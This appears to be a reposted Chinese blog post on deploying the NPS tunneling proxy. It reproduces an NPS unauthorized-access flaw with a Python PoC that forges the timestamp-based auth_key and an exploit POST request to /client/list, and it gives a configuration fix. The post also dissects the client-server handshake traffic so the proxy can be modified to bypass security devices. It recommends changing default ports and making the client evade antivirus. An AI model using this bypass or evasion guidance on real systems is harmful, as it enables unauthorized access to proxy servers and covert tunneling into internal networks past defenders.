首页 > 其他分享 >NPS之Socks流量分析以及未授权复现

NPS之Socks流量分析以及未授权复现

时间:2023-06-04 12:06:58浏览次数:49  
标签:web key Socks NPS 复现 auth port nps 客户端


前言

因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。

环境

ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps instal

l

NPS之Socks流量分析以及未授权复现_NPS

cd /etc/nps/conf/
vim nps.conf

配置文件

#web
web_host=a.o.com
web_username=xxxx    //管理端用户名
web_password=xxxxxx  //管理端密码
web_port = xxxxx     //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps

NPS之Socks流量分析以及未授权复现_socks流量分析_02

##bridge
bridge_type=tcp   //客户端连接协议tcp
bridge_port=xxxx  //客户端连接端口
bridge_ip=0.0.0.0

NPS之Socks流量分析以及未授权复现_未授权复现_03

bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则

NPS未授权复现

POC

#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))

直接访问

http://vps:port?payload

NPS之Socks流量分析以及未授权复现_未授权复现_04

exp请求接口

POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list

search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547

NPS之Socks流量分析以及未授权复现_服务端_05

参考链接:

https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA

修复措施

vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

修改为

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

NPS之Socks流量分析以及未授权复现_客户端_06

目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。


socks流量分析

nps start

访问http://vps:port/login

NPS之Socks流量分析以及未授权复现_未授权复现_07

新增客户端

NPS之Socks流量分析以及未授权复现_socks流量分析_08

这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。

NPS之Socks流量分析以及未授权复现_客户端_09

客户端选择windwos server 2012R2

修改客户端配置文件

[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx    
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
客户端启动
npc.exe -server=vps:port -vkey=xxxxx -type=tcp

正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。

NPS之Socks流量分析以及未授权复现_socks流量分析_10

查看连接状态

NPS之Socks流量分析以及未授权复现_socks流量分析_11

NPS之Socks流量分析以及未授权复现_未授权复现_12

使用goby测试socks5

NPS之Socks流量分析以及未授权复现_客户端_13

测试代理

NPS之Socks流量分析以及未授权复现_服务端_14

已成功实现内网穿透。

这里使用wireshark抓取流量包,

初始流量服务器向客户端发送TST

NPS之Socks流量分析以及未授权复现_NPS_15

同时客户端向服务端确认版本,同时返回客户端版本0.26.0

NPS之Socks流量分析以及未授权复现_服务端_16

代码位置nps/lib/version/version.go

NPS之Socks流量分析以及未授权复现_客户端_17

服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10

NPS之Socks流量分析以及未授权复现_NPS_18

服务端接收到请求后返回给客户端服务端版本的md5值,即

md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e

可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到

NPS之Socks流量分析以及未授权复现_客户端_19

这是客户端传输给服务端密钥连接

md5(vkey)

NPS之Socks流量分析以及未授权复现_客户端_20

服务端在接收到客户端的请求后校验数据后返回success

NPS之Socks流量分析以及未授权复现_socks流量分析_21

这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。

标签:web,key,Socks,NPS,复现,auth,port,nps,客户端
From: https://blog.51cto.com/u_14601424/6410282

相关文章

  • 深入解析 SOCKS5 协议:高效稳定的代理传输协议
        SOCKS5是一种常用的代理传输协议,广泛应用于网络安全、隐私保护和绕过访问限制等场景。本文将对SOCKS5协议的工作原理、特点和应用进行深入解析,帮助读者更好地了解和应用这一技术。     随着互联网的快速发展,用户对网络隐私和访问自由的需求日益增加。SOCKS......
  • jsocks代理服务器和客户端的试用
    jsocks的项目位于:[url]http://jsocks.sourceforge.net/[/url]在GoogleCode上还有个对应的mirror的项目,是Google创建的,做了一些修改,看来Google是用到了它:[url]http://code.google.com/p/jsocks-mirror/[/url]上面的项目包括SOCKS代理服务器和......
  • 2023ciscn-misc-国粹复现
    说明:此题给出的两个图片,a.png及k.png是分别表示的x坐标和y坐标。然后再用此坐标对题目进行画图,从而得出flag但是由于本人的代码技术有限只能借鉴大佬们的代码然后对其进行分析学习。importnumpyasnpfromPILimportImage classtest():   def__init__(self):......
  • Windows下使用Socks5代理IP的完全指南
       Socks5代理是一种常用的网络代理协议,它能够为用户提供更高的隐私保护和更广泛的应用支持。本文将详细介绍如何在Windows操作系统下使用Socks5代理IP,并提供一些实用技巧和注意事项,帮助读者更好地理解和应用代理IP技术。一、什么是Socks5代理IP?   Socks5代理是一种网络......
  • Surge如何配置Socks5代理端口
    1general设置  2advancedproxyservicesettings 3可以删除之前的配置,然后添加为自己想要的端口 ......
  • 《MS17-010(永恒之蓝)—漏洞复现及防范》
    作者:susususuao免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。一.什么是永恒之蓝?-永恒之蓝永恒之蓝(EternalBlue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客......
  • LLaVA 从零复现 第一天
    1.准备数据1.1预训练数据目前看来数据部分是两类数据,一类是预训练数据需要下载对应的图像这部分数据是过滤版的CC-3M,上面图片量是59w,是300w图像的过滤版本结构{"id":"GCC_train_002582585","image":"GCC_train_002582585.jpg","caption":"oli......
  • Socks5代理:强大的网络安全工具
      在当今互联网时代,网络安全问题备受关注。恶意攻击、数据泄露和信息监控等威胁使得个人和企业面临严重风险。为了保护网络隐私和确保数据安全,IP代理技术成为了一种常见的解决方案之一。本文将重点介绍Socks5代理,探讨它在网络安全中的重要性以及如何使用和配置Socks5代理来提高......
  • c#构建具有用户认证与管理的socks5代理服务端
    Socks协议是一种代理(Proxy)协议,例如我们所熟知的Shdowsocks便是Socks协议的一个典型应用程序,Socks协议有多个版本,目前最新的版本为5,其协议标准文档为RFC1928。我们一起来使用.net7构建一个支持用户管理的高性能socks5代理服务端目录协议流程1clie......
  • 代码复现:基于主从博弈的主动配电网阻塞管理 采用双层模
    代码复现:基于主从博弈的主动配电网阻塞管理采用双层模型进行求解上层决策边际报价,下层求解出清电价和运行方案反馈到上层,反复迭代出结果。上层和下层均采用自适应粒子群算法进行求解考虑四种场景场景1考虑可中断负荷和可调节负荷以及电压约束场景2考虑电动汽车和储能以及电压约束......